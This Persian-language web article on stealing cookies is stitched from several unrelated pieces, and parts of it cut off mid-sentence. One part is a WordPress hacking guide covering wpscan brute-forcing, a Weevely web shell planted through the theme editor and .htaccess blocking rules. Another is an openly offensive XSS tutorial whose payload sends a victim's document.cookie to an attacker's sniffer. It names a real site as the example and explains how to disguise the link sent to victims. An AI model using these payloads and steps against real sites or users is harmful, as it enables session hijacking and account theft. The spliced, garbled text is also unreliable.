چگونه کوکی ها را بدزدیم. یک راه آسان برای سرقت کوکی ها

صفحه اصلی / نصب دستگاه

وردپرس یک پلت فرم وبلاگ مناسب برای انتشار و مدیریت مقالات است که تعداد زیادی سایت مختلف بر روی آن بنا شده اند. با توجه به شیوع آن، این CMS مدتهاست که یک لقمه خوشمزه برای مهاجمان بوده است. متأسفانه تنظیمات اولیه سطح کافی از محافظت را فراهم نمی کند و بسیاری از حفره های پیش فرض را باز نمی گذارد. در این مقاله، ما مسیر معمولی هک "معمولی" یک سایت وردپرس را طی می کنیم و همچنین نحوه از بین بردن آسیب پذیری های شناسایی شده را نشان می دهیم.

مقدمه

امروزه وردپرس محبوب ترین سیستم مدیریت محتوا است. سهم آن 60.4 درصد از کل سایت هایی است که از موتورهای CMS استفاده می کنند. از این تعداد، طبق آمار، 67.3 درصد از سایت ها بر اساس آخرین نسخهداده شده است نرم افزار. در همین حال، در طول دوازده سال از وجود موتور وب، 242 آسیب‌پذیری در انواع مختلف در آن کشف شد (به استثنای آسیب‌پذیری‌های موجود در افزونه‌ها و تم‌های شخص ثالث). و آمار افزونه های شخص ثالث حتی غم انگیزتر به نظر می رسد. بنابراین، شرکت Revisium 2350 قالب روسی شده وردپرس را که از منابع مختلف گرفته شده بودند، تجزیه و تحلیل کرد. در نتیجه، آن‌ها دریافتند که بیش از نیمی (54%) به پوسته‌های وب، درهای پشتی، لینک‌های SEO Blackhat ("هرزنامه") آلوده شده‌اند و همچنین حاوی اسکریپت‌هایی با آسیب‌پذیری‌های حیاتی هستند. پس خیالتان راحت باشد، حالا ما چگونگی ممیزی سایت وردپرس و رفع کاستی های پیدا شده را خواهیم فهمید. ما از نسخه 4.1 (Russified) استفاده خواهیم کرد.

نمایه سازی سایت

اولین قدم در هر آزمایش معمولاً جمع آوری اطلاعات در مورد هدف است. و این جایی است که اغلب کمک می کند. تنظیم نادرستنمایه سازی سایت، که به کاربران غیرمجاز اجازه می دهد محتویات بخش های جداگانه سایت را مشاهده کنند و به عنوان مثال، اطلاعاتی در مورد پلاگین های نصب شدهو موضوعات، و همچنین دسترسی به داده های محرمانه یا پشتیبان گیریپایگاه های داده برای بررسی اینکه کدام دایرکتوری ها از بیرون قابل مشاهده هستند، ساده ترین راه استفاده از گوگل است. برای تکمیل کافی است پرس و جو گوگل Dorks مانند site:example.com intitle:"index of" inurl:/wp-content/. دایرکتوری های زیر را می توان در inurl مشخص کرد: عبارت:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

اگر می توانید به /wp-content/plugins/ نگاه کنید، مرحله بعدی جمع آوری اطلاعات در مورد پلاگین های نصب شده و نسخه های آنها بسیار ساده تر است. طبیعتاً می‌توانید با استفاده از فایل robots.txt فهرست‌سازی را غیرفعال کنید. از آنجایی که به طور پیش فرض در بسته نصب وردپرس قرار ندارد، باید خودتان آن را بسازید و در دایرکتوری اصلی سایت قرار دهید. تعداد زیادی کتابچه راهنمای ایجاد و کار با فایل robots.txt وجود دارد، بنابراین من این موضوع را برای آماده سازی خود می گذارم. من فقط یکی از گزینه های ممکن را ارائه می کنم:

User-Agent: * Disallow: /cgi-bin Disallow: /wp-login.php Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/ Disallow: /wp-content/plugins/ Disallow : /wp-content/themes/ غیر مجاز: /?author=* مجاز: /

اگر فایل‌های ذخیره شده در پوشه آپلود حاوی اطلاعات محرمانه هستند، این خط را به این لیست اضافه کنید: Disallow: /wp-content/uploads/.
از طرف دیگر، قرار دادن پیوندهایی به دایرکتوری ها در فایل robots.txt که به طور خاص برای ذخیره اطلاعات حساس ایجاد شده اند، توصیه نمی شود. در غیر این صورت، با انجام این کار، کار مهاجم را آسان تر می کنید، زیرا این اولین جایی است که همه معمولاً در جستجوی چیزی "جالب" هستند.

تعیین نسخه وردپرس

مرحله مهم دیگر شناسایی است نسخه های CMS. در غیر این صورت چگونه یک اکسپلویت مناسب انتخاب کنیم؟ سه وجود دارد راه های سریعبرای تعیین نسخه وردپرس مورد استفاده در سایت:

  • پیدا کنید کد منبعصفحات در متا تگ ژنراتور نشان داده شده است:

    یا در برچسب ها:

  • آن را در فایل readme.html (شکل 1) که در بسته نصبی موجود است و در ریشه سایت قرار دارد، پیدا کنید. فایل ممکن است نام های دیگری مانند readme-ja.html داشته باشد.
  • در فایل ru_RU.po (شکل 2)، که در بسته نصب موجود است و در /wp-content/languages/ قرار دارد، پیدا کنید: "Project-Id-Version: WordPress 4.1.1\n"

  • یکی از گزینه های حفاظتی در این مورد- دسترسی به فایل های readme.html و ru_RU.po را با استفاده از htaccess محدود کنید.

    اتوماسیون فرآیند تست

    تحقیقات امنیتی وردپرس دیروز شروع نشده است، بنابراین تعداد کافی ابزار وجود دارد که به شما امکان می‌دهد کارهای روتین را خودکار کنید.

    • تشخیص نسخه و تم با استفاده از اسکریپت http-wordpress-info nmap -sV --script http-wordpress-info
    • حدس زدن رمز عبور با استفاده از فرهنگ لغت nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com
    • ماژول برای تعیین نسخه: کمکی/اسکنر/http/wordpress_scanner ;
    • ماژول تعیین نام کاربری کمکی/اسکنر/http/wordpress_login_enum.
    • فهرست پلاگین های نصب شده: wpscan --url www.exmple.com --enumerate p ;
    • لیست تم های نصب شده: wpscan --url www.exmple.com --enumerate t ;
    • شمارش timethumb های نصب شده: wpscan --url www.example.com --enumerate tt ;
    • تعیین نام کاربری: wpscan --url www.example.com --enumerate u ;
    • انتخاب رمز عبور با استفاده از فرهنگ لغت برای کاربر مدیر: wpscan --url www.example.com --wordlist wordlist.txt -- نام کاربری admin ;
    • حدس زدن رمز عبور با استفاده از ترکیب نام کاربری/رمز عبور با تعداد رشته‌ها برابر با 50: wpscan --url www.example.com --wordlist wordlist.txt --threads 50 .
    تعیین اجزای نصب شده

    حالا بیایید اطلاعاتی در مورد پلاگین ها و تم های نصب شده جمع آوری کنیم، چه فعال شده باشند یا نه. اول از همه، چنین اطلاعاتی را می توان از کد منبع صفحه HTML استخراج کرد، به عنوان مثال، از پیوندهای جاوا اسکریپت، از نظرات و منابع نوع CSS که بر روی صفحه بارگذاری می شوند. این ساده ترین راه برای به دست آوردن اطلاعات در مورد اجزای نصب شده است. به عنوان مثال، خطوط زیر نشان می دهد که موضوع بیست و یازده مورد استفاده قرار گرفته است:

    از آنجایی که اطلاعات مربوط به افزونه ها همیشه در کد منبع صفحه HTML نمایش داده نمی شود، می توانید اجزای نصب شده را با استفاده از ابزار WPScan شناسایی کنید (نوار کناری را ببینید). فقط فراموش نکنید که جستجو از طریق مسیرهای افزونه در گزارش های وب سرور ثبت می شود.
    با دریافت داده‌های مربوط به مؤلفه‌های نصب‌شده، می‌توانید به تنهایی به جستجوی آسیب‌پذیری‌ها بپردازید یا اکسپلویت‌های در دسترس عموم را در منابعی مانند rapid7 یا exploit-db بیابید.

    تعریف نام کاربری

    به طور پیش‌فرض، وردپرس به هر کاربر یک شناسه منحصربه‌فرد اختصاص می‌دهد که به صورت یک عدد نشان داده می‌شود: example.com/?author=1 . با مرتب سازی اعداد، نام کاربران سایت را مشخص خواهید کرد. حسابمدیر مدیر، که در طول فرآیند ایجاد می شود نصب وردپرس، در شماره 1 قرار دارد، بنابراین توصیه می شود آن را به عنوان یک اقدام محافظتی حذف کنید.

    Brute force wp-login

    با دانستن نام کاربری، می توانید سعی کنید رمز عبور پنل مدیریت را حدس بزنید. فرم ورود به وردپرس در صفحه wp-login.php بسیار آموزنده است (شکل 3)، به خصوص برای یک مهاجم: اگر داده های نادرست وارد کنید، درخواست هایی در مورد نام کاربری یا رمز عبور اشتباه برای یک کاربر خاص ظاهر می شود. توسعه دهندگان از این ویژگی آگاه هستند، اما تصمیم گرفتند آن را ترک کنند، زیرا چنین پیام هایی برای کاربرانی که ممکن است لاگین و/یا رمز عبور خود را فراموش کرده باشند راحت است. مشکل حدس زدن رمز عبور را می توان با استفاده از آن حل کرد رمز عبور قوی، متشکل از دوازده کاراکتر یا بیشتر و شامل حروف بزرگ و حروف کوچک، اعداد و کاراکترهای خاص. یا مثلا از افزونه Login LockDown استفاده کنید.

    پوسته را پر کنید

    پس از بازنشانی رمز عبور، هیچ چیز مانع از آپلود پوسته در یک منبع وب در معرض خطر نمی‌شود. برای این اهداف، چارچوب Weevely کاملا مناسب است، که به شما امکان می دهد یک پوسته را به شکل مبهم تولید کنید، که تشخیص آن را بسیار دشوار می کند. برای جلوگیری از ایجاد سوء ظن، کد به دست آمده را می توان از طریق ویرایشگر تم کنسول وردپرس در هر فایل تم (مثلاً index.php) درج کرد. سپس، با استفاده از همان Weevely، می توانید به دستگاه قربانی متصل شوید و دستورات مختلفی را فراخوانی کنید:

    Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] مرور سیستم فایل یا اجرای دستورات اتصال [+] را با هدف شروع می کند. نوع: کمک برای اطلاعات بیشتر weevely>:help

    Connect.htaccess

    برای جلوگیری از دسترسی به اطلاعات حساس، بهتر است از فایل .htaccess استفاده کنید - این یک فایل پیکربندی است که در وب سرور آپاچی استفاده می شود. بیایید قابلیت های این فایل را از نظر امنیتی در نظر بگیریم. با کمک آن می توانید: دسترسی به فهرست ها و فایل ها را ممنوع کنید، تزریق های مختلف SQL و اسکریپت های مخرب را مسدود کنید. برای این منظور فایل htaccess استاندارد برای CMS وردپرس 4.1 باید کمی گسترش یابد. برای بستن لیست فایل ها و پوشه ها، اضافه کنید:

    Options +FollowSymLinks -Indexes

    RewriteCond %(QUERY_STRING) base64_encode[^(]*\([^)]*\) پیوندهای حاوی رمزگذاری Base64 را مسدود می‌کند. از شر لینک های حاوی برچسب خلاص شوید:

    RewriteCond %(QUERY_STRING) (|%3E)

    اسکریپت های شمارنده ای که سعی در تنظیم متغیرهای سراسری یا تغییر متغیر _REQUEST از طریق URL دارند:

    RewriteCond %(QUERY_STRING) GLOBALS (=|\[|\%(0,2)) RewriteCond %(QUERY_STRING) _REQUEST (=|\[|\%(0,2))

    برای مقابله با تزریق SQL، ما درخواست‌های URL‌های حاوی کلمات کلیدی خاص را مسدود می‌کنیم:

    RewriteCond %(query_string) concat.*\( RewriteCond %(query_string) union.*select.*\( RewriteCond %(query_string) union.*all.*RewriteRule را انتخاب کنید ^(.*)$ index.php

    برای از بین بردن عمر برنامه های کاربردی هکرهای رایج، ما برخی از عوامل کاربر را فیلتر می کنیم:

    SetEnvIf user-agent "Indy Library" stayout=1 SetEnvIf user-agent "libwww-perl" stayout=1 SetEnvIf user-agent "Wget" stayout=1 رد از env=stayout

    محافظت از فایل ها

    همچنین محدود کردن دسترسی به فایل‌های مهمی که پیکربندی را ذخیره می‌کنند یا به سادگی می‌توانند اطلاعاتی را در اختیار مهاجم قرار دهند، محدود می‌شود. نامزدهای زیر را می توان متمایز کرد:

    • wp-config.php شامل نام پایگاه داده، نام کاربری، رمز عبور و پیشوند جدول است.
    • htaccess .
    • readme.html و ru_RU.po که حاوی نسخه وردپرس هستند.
    • install.php .

    این کار به صورت زیر انجام می شود:

    از همه سفارش دهید اجازه دهید، انکار کنید

    علاوه بر این، فایل htaccess. حاوی این خطوط باید در همان دایرکتوری فایل محافظت شده قرار گیرد. سپس لیست کردن کاربران را ممنوع می کنیم (به یاد داشته باشید، درست در بالا در مورد اینکه چقدر آسان است لیست کاربران را دریافت کنید صحبت کردیم؟):

    RewriteCond %(QUERY_STRING) نویسنده=\d RewriteRule ^ /؟

    خب دیگه چی؟ شما فقط می توانید اجازه ورود از آدرس های IP مشخص شده را بدهید. برای انجام این کار، یک فایل .htaccess در پوشه wp-admin با قوانین زیر ایجاد کنید:

    AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "Access Control" AuthType Basic order deny,Allow deny from all allow from 178.178.178.178 # IP کامپیوتر خانگی از 248.248.248.248 IP اجازه کار

    این روش خیلی منعطف نیست و فقط در صورتی قابل اجرا است که با تعداد محدودی آدرس IP ثابت کار می کنید. در در غیر این صورتتوصیه می شود برای پوشه wp-admin از طریق پنل میزبانی رمز عبور تعیین کنید (در صورت وجود چنین قابلیتی).

    اقدامات اضافی

    به آنچه در بالا گفته شد، توصیه های زیر را می توان اضافه کرد. اول، فقط استفاده کنید نسخه های فعلیوردپرس و اجزای آن - این آسیب پذیری های شناخته شده را از بین می برد. ثانیا، افزونه ها و تم های استفاده نشده را که می توانند مورد سوء استفاده قرار گیرند، حذف کنید. سوم، دانلود تم و افزونه های وردپرساز منابع قابل اعتماد، مانند سایت های توسعه دهنده و سایت رسمی وردپرس. درست مانند رایانه شخصی خود، باید به طور دوره ای منابع وب خود را با یک آنتی ویروس وب، به عنوان مثال AI-Bolit بررسی کنید. اگر به وب سرور دسترسی دارید، حقوق دسترسی به فایل ها و دایرکتوری ها را پیکربندی کنید. به عنوان یک قاعده، وردپرس تمام حقوق لازم را در مرحله نصب تنظیم می کند، اما در صورت لزوم، chmod را می توان به صورت دستی تنظیم کرد. برای دایرکتوری ها - chmod 755، برای فایل ها - chmod 644. مطمئن شوید که حقوق 777 فقط به اشیایی که به آن نیاز دارند اختصاص داده می شود (گاهی اوقات این برای عملکرد عادیبرخی از افزونه ها). اگر وردپرس به طور عادی کار نمی کند، حقوق دسترسی را آزمایش کنید: ابتدا 755، سپس 766 و در نهایت 777 را امتحان کنید. برای همه فایل های htaccess، chmod 444 را تنظیم کنید (فقط خواندنی). اگر سایت از کار افتاد، مقادیر 400، 440، 444، 600، 640، 644 را آزمایش کنید.

    فایل wp-config.php را جابجا کنید. این فایلحاوی اطلاعاتی در مورد تنظیمات MySQL، پیشوند جدول، کلیدهای مخفی و غیره است. بنابراین باید انتقال داده شود تا فایل از طریق اینترنت قابل دسترسی نباشد. اگر سایت در پوشه public_html قرار ندارد، فایل wp-config.php را به یک پوشه بالاتر منتقل کنید و وردپرس به طور خودکار آن را در این پوشه ریشه پیدا می کند (در صورتی که هاست فقط یک سایت در این CMS داشته باشد قابل استفاده است).

    برای دشوارتر کردن پر کردن پوسته، امکان ویرایش تم از طریق کنسول وردپرس را غیرفعال کنید. برای انجام این کار، خط زیر را در فایل wp-config.php وارد کنید: define("DISALLOW_FILE_EDIT", true); .

    یکی دیگر از نقاط ضعف فایل install.php (که در پوشه wp-admin قرار دارد) است. بنابراین، بهتر است آن را حذف، مسدود یا تغییر دهید. یکی از گزینه ها را انجام دهید:

  • فقط این فایل را حذف کنید - پس از نصب دیگر نیازی به آن نیست.
  • با استفاده از htaccess. دسترسی به فایل را ممنوع کنید.
  • تغییر نام دهید فایل اصلی install.php (مثلا install.php.old) و ایجاد کنید فایل جدید install.php با محتوای زیر: Error Establishing Connection Database

    ما در حال حاضر با مشکلات پایگاه داده مواجه هستیم. لطفا به زودی دوباره بررسی کنید. متشکرم.

  • این اسکریپت علاوه بر اطلاع رسانی به بازدیدکنندگان سایت، اقدامات زیر را انجام می دهد:

    • کد وضعیت 503 را به مشتری و موتورهای جستجو ارسال می کند ("سرویس به طور موقت در دسترس نیست")؛
    • نشان دهنده مدت زمانی است که مشتریان پس از آن و موتورهای جستجومی تواند به سایت بازگردد (پارامتر قابل تنظیم)؛
    • توسط ایمیلدر مورد مشکل پایگاه داده تا اقدامات مناسب انجام شود.

    واقعیت این است که در نسخه های قبلی وردپرس (alert() و روی "یافتن" کلیک کنید
    پنجره ای با xss ظاهر می شود، به این معنی که xss وجود دارد (شاید تا زمانی که این مقاله را بخوانید، این xss قبلاً حذف شده باشد).

    2.2. XSS فعال
    چنین css می تواند به عنوان مثال، در فیلدهای نمایه، هنگام افزودن اخبار در عنوان خبر و در خود خبر (کمتر)، در پیام ها در انجمن ها / اتاق های گفتگو / اتاق مهمان با html فعال باشد. همه چیز در اینجا ساده است، ما اسکریپت زیر پاراگراف قبلی را وارد فیلدها می کنیم و اگر پیام روی صفحه نمایش داده شود، آسیب پذیری وجود دارد.
    بیایید به xss در برچسب های BB در انجمن ها نگاه کنیم.
    می توانید سعی کنید به سادگی کد جاوا اسکریپت را در تگ وارد کنید، به عنوان مثال به صورت زیر:
    javascript:alert('xss')
    برخی از تگ ها دارای پارامتر هستند، به عنوان مثال یک برچسب دارای پارامترهای dynsrc و lowsrc است، بیایید سعی کنیم کد را به این صورت جایگزین کنیم:
    http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
    اگر اسکریپت کار کرد، xss وجود دارد

    3. استفاده از XSS برای سرقت کوکی ها
    حالا خوشمزه ترین))))
    برای دزدیدن کوکی ها به یک وب sniffer نیاز داریم، می توانید نوعی sniffer را روی هاست خود نصب کنید یا می توانید از یک Sniffer آنلاین استفاده کنید که در حال حاضر تعداد زیادی از آنها وجود دارد.
    برای سرقت کوکی ها از طریق XSS غیرفعال، قربانی باید یک پیوند سمی را دنبال کند. برای سرقت کوکی ها، به جای هشدار('xss') از اسکریپت دیگری استفاده می کنیم:
    img = تصویر جدید();


    ما اسکریپت را در لینک قرار می دهیم و به قربانی اجازه می دهیم آن را دنبال کند، به گزارش sniffer نگاه کند و خوشحال شود.
    بیایید به یک مثال نگاه کنیم.
    بیایید آن XSS را در Rambler از پاراگراف قبلی بگیریم.
    درج می کنیم
    ">
    img = تصویر جدید();
    img.src = "آدرس تصویر sniffer"+document.cookie;

    در فرم جستجو، روی "یافتن" کلیک کنید، به نوار آدرس نگاه کنید و ببینید:

    http://miss.rambler.ru/srch/?sort=0& … &words =">
    ما این لینک را برای قربانی ارسال می کنیم و از کوکی ها لذت می بریم.
    با دیدن چنین پیوندی، قربانی ممکن است به چیزی مشکوک شود، بنابراین توصیه می شود رمزگذاری شود
    ">img = new Image();img.src = "آدرس تصویر sniffer"+document.cookie;
    در URL یا از خدماتی مانند http://tinyurl.com/ استفاده کنید
    بیایید به XSS فعال برویم، همه چیز در اینجا ساده است، به جای alert() img = new Image();img.src = "address of the sniffer image"+document.cookie;

    حالا ما کوکی ها داریم. اما با آنها چه باید کرد؟ ساده است، شما باید آنها را به جای خودتان جایگزین کنید. در مرورگر اپرایک ویرایشگر کوکی داخلی (ابزارها->پیشرفته->مدیریت کوکی) وجود دارد، یک افزونه برای فایرفاکس (یادم نیست اسمش چیست، از گوگل استفاده کنید)
    فعلاً همین است، شاید مقاله تکمیل شود

    تصویر نشان می دهد که کوکی حاوی خط wordpress_logged_in_263d663a02379b7624b1028a58464038=admin است. این مقدار به صورت رمزگذاری نشده در کوکی است و به راحتی با استفاده از ابزار آشیل قابل رهگیری است، اما در بیشتر موارد در آشیل فقط می توانید هش یک ورودی خاص را ببینید. قبل از ارسال درخواست به سرور، می توانید سعی کنید این خط را با هر خط مشابه جایگزین کنید (اگرچه در این مورد هیچ نکته ای وجود ندارد) - تعداد تلاش ها محدود نیست. سپس با ارسال این درخواست به سرور با استفاده از دکمه Send می توانید پاسخی از سرور در نظر گرفته شده برای مدیر دریافت کنید.

    در مثال قبلی، می توانید از جعل مستقیم شناسه کاربری استفاده کنید. علاوه بر این، نام پارامتر، جایگزین مقدار آن فراهم می کند ویژگی های اضافیهکر، می تواند موارد زیر باشد: کاربر (مثلا USER=JDOE)، هر عبارت با یک رشته ID (مثلا USER=JDOE یا SESSIONID=BLAHBLAH)، مدیر (مثلاً ADMIN=TRUE)، جلسه (مثلاً ، SESSION=ACTIVE)، سبد خرید (به عنوان مثال، CART=FULL)، و همچنین عباراتی مانند TRUE، FALSE، ACTIVE، INACTIVE. به طور معمول، فرمت کوکی ها بسیار به برنامه ای که برای آن استفاده می شود بستگی دارد. با این حال، این نکات برای یافتن نقص برنامه با استفاده از کوکی ها تقریباً برای همه فرمت ها اعمال می شود.

    اقدامات متقابل سمت مشتری در برابر استخراج کوکی

    در مورد کلیکاربران باید مراقب وب سایت هایی باشند که از کوکی ها برای احراز هویت و ذخیره داده های حساس استفاده می کنند. همچنین مهم است به خاطر داشته باشید که وب سایتی که از کوکی ها برای احراز هویت استفاده می کند باید حداقل از آن پشتیبانی کند پروتکل SSLبرای رمزگذاری نام کاربری و رمز عبور، زیرا در صورت عدم وجود این پروتکل، داده ها به صورت رمزگذاری نشده منتقل می شوند، که به آنها اجازه می دهد با استفاده از ساده ترین روش رهگیری شوند. نرم افزاربرای مشاهده داده های ارسال شده از طریق شبکه

    نرم افزار Kookaburra ابزاری را برای تسهیل استفاده از کوکی ها ایجاد کرده است. این ابزار CookiePal نام دارد (http://www.kburra.com/cpal.html (به www.kburra.com مراجعه کنید). این برنامهطراحی شده است تا زمانی که یک وب سایت تلاش می کند یک کوکی روی دستگاه نصب کند به کاربر هشدار دهد و کاربر می تواند این عمل را مجاز یا رد کند. ویژگی های مشابهامروزه مسدود کردن کوکی ها در همه مرورگرها در دسترس است.

    یکی دیگر از دلایل نصب منظم به روز رسانی مرورگر وب این است که نقص های امنیتی در این برنامه ها به طور مداوم شناسایی می شود. بنابراین، Bennet Haselton و Jamie McCarthy یک اسکریپت ایجاد کردند که پس از کلیک بر روی پیوند، کوکی‌ها را از دستگاه مشتری بازیابی می‌کند. در نتیجه، تمام محتویات کوکی هایی که در دستگاه کاربر قرار دارند در دسترس قرار می گیرند.

    این نوع هک همچنین می تواند با استفاده از یک دسته تعبیه شده در متن HTML یک صفحه وب (یا در محتوای HTML) انجام شود. ایمیلیا گروه های خبری) برای سرقت کوکی ها. به مثال زیر توجه کنید:

    برای اطمینان از اینکه چنین مواردی داده های شخصی ما را تهدید نمی کند، من خودم این کار را انجام می دهم و به همه توصیه می کنم همیشه نرم افزارهایی را که با کد HTML کار می کند (کاربرهای ایمیل، پخش کننده های رسانه، مرورگرها و غیره) به روز کنند.

    بسیاری از مردم ترجیح می‌دهند به سادگی کوکی‌ها را مسدود کنند، اما اکثر وب‌سایت‌ها به مرور کوکی‌ها نیاز دارند. نتیجه گیری - اگر در آینده نزدیک یک فناوری نوآورانه ظاهر شود که به شما امکان می دهد بدون کوکی کار کنید ، برنامه نویسان و مدیران نفس راحتی می کشند ، اما در حال حاضر کوکی ها برای یک هکر یک لقمه خوشمزه باقی می مانند! این درست است، زیرا جایگزین بهتری هنوز وجود ندارد.

    اقدامات متقابل سمت سرور

    وقتی صحبت از توصیه هایی برای تضمین امنیت سرور می شود، کارشناسان یک توصیه ساده می کنند: از مکانیزم کوکی استفاده نکنید مگر اینکه کاملاً ضروری باشد! هنگام استفاده از کوکی‌هایی که پس از پایان جلسه ارتباط در سیستم کاربر باقی می‌مانند، باید دقت خاصی کرد.

    البته درک این نکته مهم است که از کوکی ها می توان برای تامین امنیت سرورهای وب برای احراز هویت کاربر استفاده کرد. اگر برنامه شما نیاز به استفاده از کوکی دارد، باید مکانیسم کوکی را طوری پیکربندی کنید که از کلیدهای مختلف با دوره اعتبار کوتاه برای هر جلسه استفاده کند و سعی کنید اطلاعاتی را که می‌تواند توسط هکرها برای هک استفاده شود (مانند ADMIN=) در این فایل‌ها قرار ندهید. درست است).

    علاوه بر این، برای اطمینان از ایمنی بیشتر هنگام کار با کوکی هامی توانید از رمزگذاری برای جلوگیری از استخراج استفاده کنید اطلاعات مهم. البته رمزگذاری تمام مشکلات امنیتی را هنگام کار با فناوری کوکی حل نمی کند، اما این روش از ابتدایی ترین هک هایی که در بالا توضیح داده شد جلوگیری می کند.

    کوکی ها- اطلاعات در فرم فایل متنی، توسط یک وب سایت در رایانه کاربر ذخیره می شود. حاوی داده های احراز هویت (ورودی / رمز عبور، شناسه، شماره تلفن، آدرس). صندوق پستی)، تنظیمات کاربر، وضعیت دسترسی. در نمایه مرورگر ذخیره می شود.

    هک کوکیدزدی (یا "ربایش") جلسه بازدیدکنندگان منبع وب است. اطلاعات خصوصی نه تنها برای فرستنده و گیرنده، بلکه برای شخص ثالث - شخصی که رهگیری را انجام داده است، در دسترس قرار می گیرد.

    ابزارها و تکنیک های هک کوکی ها

    سارقان رایانه، مانند همکاران خود در زندگی واقعی، علاوه بر مهارت، مهارت و دانش، البته، ابزارهای خاص خود را نیز دارند - نوعی زرادخانه از کلیدها و پروب های اصلی. بیایید نگاهی به محبوب ترین ترفندهایی که هکرها برای استخراج کوکی ها از کاربران اینترنت استفاده می کنند بیندازیم.

    اسنیفرها

    برنامه های ویژهبرای ردیابی و تجزیه و تحلیل ترافیک شبکه. نام آنها از فعل انگلیسی "sniff" (sniff) گرفته شده است، زیرا. بسته‌های ارسالی بین گره‌ها به معنای واقعی کلمه «خرید کردن» است.

    اما مهاجمان از یک sniffer برای رهگیری داده‌های جلسه، پیام‌ها و موارد دیگر استفاده می‌کنند اطلاعات محرمانه. اهداف حملات آنها عمدتاً شبکه های محافظت نشده هستند، جایی که کوکی ها در یک جلسه HTTP باز ارسال می شوند، یعنی عملاً رمزگذاری نمی شوند. (وای فای عمومی در این زمینه آسیب پذیرترین است.)

    برای جاسازی یک sniffer در کانال اینترنت بین گره کاربر و وب سرور، از روش های زیر استفاده می شود:

    • "گوش دادن" به رابط های شبکه (هاب ها، سوئیچ ها)؛
    • انشعاب و کپی ترافیک؛
    • اتصال به شکاف کانال شبکه؛
    • تجزیه و تحلیل از طریق حملات ویژه ای که ترافیک قربانی را به sniffer هدایت می کند (MAC-spoofing، IP-spoofing).

    مخفف XSS مخفف Cross Site Scripting است. برای حمله به وب سایت ها به منظور سرقت اطلاعات کاربران استفاده می شود.

    اصل XSS به شرح زیر است:

    • یک مهاجم کد مخرب (یک اسکریپت پنهان خاص) را در صفحه وب یک وب سایت، انجمن یا در یک پیام (مثلاً هنگام مکاتبه در یک شبکه اجتماعی) وارد می کند.
    • قربانی به صفحه آلوده می رود و کد نصب شده را روی رایانه شخصی خود فعال می کند (کلیک می کند، پیوند را دنبال می کند و غیره).
    • به نوبه خود، کد مخرب اجرا شده داده های محرمانه کاربر را از مرورگر (به ویژه کوکی ها) "استخراج" می کند و آن را به وب سرور مهاجم ارسال می کند.

    هکرها برای "کاشتن" مکانیزم نرم افزار XSS از انواع آسیب پذیری ها در وب سرورها، سرویس های آنلاین و مرورگرها استفاده می کنند.

    تمام آسیب پذیری های XSS به دو نوع تقسیم می شوند:

    • منفعل.حمله با درخواست یک اسکریپت خاص در یک صفحه وب به دست می آید. کد مخربرا می توان به اشکال مختلف در یک صفحه وب (مثلاً در نوار جستجوی سایت) وارد کرد. مستعدترین نسبت به XSS غیرفعال منابعی هستند که تگ های HTML را هنگام رسیدن داده ها فیلتر نمی کنند.
    • فعالمستقیماً روی سرور قرار دارد. و در مرورگر قربانی فعال می شوند. آنها به طور فعال توسط کلاهبرداران در انواع وبلاگ ها، چت ها و فیدهای خبری استفاده می شوند.

    هکرها با دقت اسکریپت های XSS خود را "استتار" می کنند تا قربانی به چیزی مشکوک نشود. آنها پسوند فایل را تغییر می دهند، کد را به عنوان تصویر ارسال می کنند، آنها را تشویق می کنند که پیوند را دنبال کنند و با محتوای جالب آنها را جذب می کنند. در نتیجه: یک کاربر رایانه شخصی که قادر به کنترل کنجکاوی خود نیست، با دست خود (با یک کلیک ماوس) کوکی های جلسه (با ورود به سیستم و رمز عبور!) را برای نویسنده اسکریپت XSS - شرور رایانه ارسال می کند.

    جایگزینی کوکی

    همه کوکی‌ها بدون هیچ تغییری - به شکل اصلی - با همان مقادیر، رشته‌ها و سایر داده‌ها، ذخیره می‌شوند و به سرور وب (که از آنجا آمده‌اند) ارسال می‌شوند. تغییر عمدی پارامترهای آنها را جایگزینی کوکی می گویند. به عبارت دیگر، هنگام جایگزینی کوکی‌ها، مهاجم وانمود می‌کند که یک تفکر آرزویی است. به عنوان مثال، هنگام پرداخت در یک فروشگاه آنلاین، کوکی مقدار پرداخت را به سمت پایین تغییر می دهد - بنابراین، "صرفه جویی" در خرید اتفاق می افتد.

    کوکی‌های جلسه دزدیده شده در یک شبکه اجتماعی از حساب شخص دیگری در جلسه دیگری و در رایانه شخصی دیگر «درج» می‌شوند. مالک کوکی های دزدیده شده تا زمانی که قربانی در صفحه خود باشد، به حساب قربانی (مکاتبات، محتوا، تنظیمات صفحه) دسترسی کامل دارد.

    "ویرایش" کوکی ها با استفاده از موارد زیر انجام می شود:

    دسترسی فیزیکی به داده ها

    خیلی مدار سادهپیاده سازی شامل چندین مرحله است. اما تنها در صورتی مؤثر است که رایانه قربانی با یک جلسه باز، به عنوان مثال VKontakte، بدون مراقبت رها شود (و برای مدت طولانی!):

  • وارد نوار آدرس مرورگر شوید تابع جاوا اسکریپت، تمام کوکی های ذخیره شده را نمایش می دهد.
  • پس از فشار دادن "ENTER" همه آنها در صفحه ظاهر می شوند.
  • کوکی ها کپی می شوند، در یک فایل ذخیره می شوند و سپس به یک درایو فلش منتقل می شوند.
  • در رایانه دیگری، کوکی ها در یک جلسه جدید جایگزین می شوند.
  • دسترسی به حساب قربانی داده شده است.
  • به عنوان یک قاعده، هکرها از ابزارهای بالا (+ ابزارهای دیگر) هم به صورت ترکیبی (از آنجایی که سطح حفاظت در بسیاری از منابع وب بسیار بالا است) و هم به طور جداگانه (زمانی که کاربران بیش از حد ساده لوح هستند) استفاده می کنند.

    XSS + sniffer
  • یک اسکریپت XSS ایجاد می‌شود که آدرس یک sniffer آنلاین (خواه خانگی یا یک سرویس خاص) را مشخص می‌کند.
  • کد مخرب با پسوند .img (فرمت تصویر) ذخیره می شود.
  • این فایل سپس در یک صفحه وب سایت، چت یا پیام شخصی آپلود می شود - جایی که حمله انجام خواهد شد.
  • توجه کاربر به "تله" ایجاد شده جلب می شود (این جایی است که مهندسی اجتماعی به اجرا در می آید).
  • اگر تله فعال شود، کوکی‌های مرورگر قربانی توسط sniffer رهگیری می‌شوند.
  • مهاجم لاگ های اسنیفر را باز می کند و کوکی های دزدیده شده را بازیابی می کند.
